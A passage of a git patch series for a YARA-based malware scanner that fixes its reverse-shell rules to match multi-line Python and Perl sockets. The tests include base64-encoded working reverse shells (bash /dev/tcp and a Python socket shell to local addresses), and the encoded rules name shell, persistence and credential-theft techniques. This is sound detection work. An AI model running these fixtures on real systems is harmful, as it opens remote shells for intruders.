From 6a3cd51f18b09ac0b351c26135ac419ff869efeb Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Sun, 20 Sep 2026 01:57:17 +0000 Subject: [PATCH 1/8] fix(yara): make reverse-shell socket strings span newlines MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit $python_socket and $perl_socket in the built-in reverse_shell rule (src/skillspector/yara_rules/malware.yar.b64) use `.*` between the socket-family constant and the connect call with no dotall modifier. YARA's `.` does not match `\n` by default, so the pattern only matches when the whole snippet is on one physical line. A reverse shell bundled as a script file (rather than passed to `python3 -c '...'` / `perl -e '...'`) writes socket.socket(...) and .connect(...) as separate statements and the rule never fires — reverse_shell falls back to any of the other, unrelated strings in the same rule, so a plain multi-line Python or Perl socket reverse shell with no other telltale string is scored SAFE. Add `s` (dotall) with a bounded {0,200} gap on both strings so the match still requires the socket call and the connect call to be close together, rather than opening an unbounded any-file-wide match that would trade the false negative for a false positive. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 151 ++++++++++---------- tests/nodes/analyzers/test_static_yara.py | 35 +++++ 2 files changed, 111 insertions(+), 75 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index d0b072f41..4dcd62508 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,78 +12,79 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg -PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr -ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 -YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg -ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl -dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 -XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg -ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog -ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg -ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo -IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo -aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg -IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg -cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K -ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot -b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi -XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl -Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j -YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0 -LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg -ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl -X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg -ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl -KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv -LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg -a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9 -ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg -ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg -ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg -ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg -ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up -LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz -ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K -ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv -b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg -ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0 -aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg -ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu -Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc -cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q -YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu -KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg -ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn -XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy -X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g -PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr -ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy -ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi -MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np -Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj -b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0 -ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv -YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv -d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2 -ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg -ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv -Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg -JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt -YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy -dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu -Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl -ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 -ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl -cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh -dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp -cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy -b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg -ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p -bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j -YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu -b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg -ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zDQogICAgICAgICRwZXJs +X3NvY2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy9z +DQogICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgv +IG5vY2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xz +KlwoLipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3Rc +cytTeXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0 +X3NoZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAg +ICAgICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3No +Lw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9v +cl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tk +b29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywg +U1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkg +PSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5j +ZSA9ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIz +eDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAg +ICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVy +c2lzdCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2Fz +ZQ0KICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwv +YXV0aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xb +U2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAg +ICAgICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nh +c2UNCiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9m +aWxlLyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5k +XC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAg +ID0gL0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55 +IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQog +ICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMg +b3Igc291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl +dmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6 +DQogICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2lt +cG9ydC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3By +ZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAv +eGlucHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlz +XHMrLS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNL +ZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRp +dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9y +DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBh +dHRlcm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5 +ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25m +aWRlbmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAv +b3NcLndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUg +ICAgPSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxz +Ky4qYml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAg +ID0gL29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxl +bmMpWyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4q +b3BlblxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv +ZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0K +ICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRp +Y2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAg +ICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAg +ICAgICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9n +aXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAg +JGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnBy +ZXRlciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9 +IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAk +ZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNs +aXZlcl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UN +CiAgICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBu +b2Nhc2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZl +cikvIG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2 +ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg +IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAg +ICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlh +bCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJt +YWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0g +IjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z +aWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 +IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAg +ID0gL2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tp +ZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAg +ICAgICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1p +bWlrYXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAg +ICAgICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVn +XHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9u +dGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N +Cg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 9022f2eec..268120ae3 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -90,6 +90,23 @@ def _reverse_shell_fixture() -> str: return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode() +def _multiline_python_socket_reverse_shell_fixture() -> str: + """A Python reverse shell written the way it appears in a real script file. + + Deliberately multi-line (``socket.socket(...)`` and ``.connect(...)`` on + separate statements) rather than the single-line ``python3 -c '...'`` form, + since that is how this exact payload is written when bundled as a file + rather than passed inline to an interpreter. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2Vzcywgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja" + "2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLj" + "EiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCk" + "sIDEpCm9zLmR1cDIocy5maWxlbm8oKSwgMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9z" + "aCIsICItaSJdKQo=" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -592,6 +609,24 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + def test_reverse_shell_rule_matches_multiline_python_socket(self): + """The python_socket string must span the newlines a real script uses. + + A Python reverse shell bundled as a file writes ``socket.socket(...)`` + and ``.connect(...)`` as separate statements, not on one line — see + `_multiline_python_socket_reverse_shell_fixture`. Without ``s`` (dotall) + on the ``$python_socket``/``$perl_socket`` strings in + ``malware.yar.b64``, YARA's `.` does not match ``\\n`` and this rule + never fires on that shape, even though the file it should have flagged + is unambiguously a working reverse shell. + """ + findings = _run_builtin( + _multiline_python_socket_reverse_shell_fixture(), + "scripts/sync.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 095f3e51c6b1b2ec949ffda8c58495a16af3798e Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Wed, 23 Sep 2026 02:49:20 +0000 Subject: [PATCH 2/8] fix(yara): require shell evidence for socket reverse-shell strings $python_socket and $perl_socket matched any multiline TCP client that reached connect() (or, for Perl, just imported Socket and called socket()), since neither required any evidence the code goes on to spawn a shell. Bound both strings to require descriptor-redirection or shell-exec evidence (dup2/subprocess/os.system/pty.spawn/execve for Python; open(STDIN,...)/exec( for Perl) within 200 chars after connect(), so an ordinary client no longer classifies as CRITICAL reverse_shell/YR1. Adds a benign-client negative test for each language plus a real multiline Perl reverse-shell positive, since the prior Perl string had no test coverage at all. Signed-off-by: Udaya Tejas --- src/skillspector/yara_rules/malware.yar.b64 | 153 ++++++++++---------- tests/nodes/analyzers/test_static_yara.py | 88 +++++++++++ 2 files changed, 165 insertions(+), 76 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index 4dcd62508..7c16ae0b0 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,79 +12,80 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zDQogICAgICAgICRwZXJs -X3NvY2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy9z -DQogICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgv -IG5vY2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xz -KlwoLipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3Rc -cytTeXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0 -X3NoZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAg -ICAgICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3No -Lw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9v -cl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tk -b29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywg -U1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkg -PSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5j -ZSA9ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIz -eDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAg -ICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVy -c2lzdCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2Fz 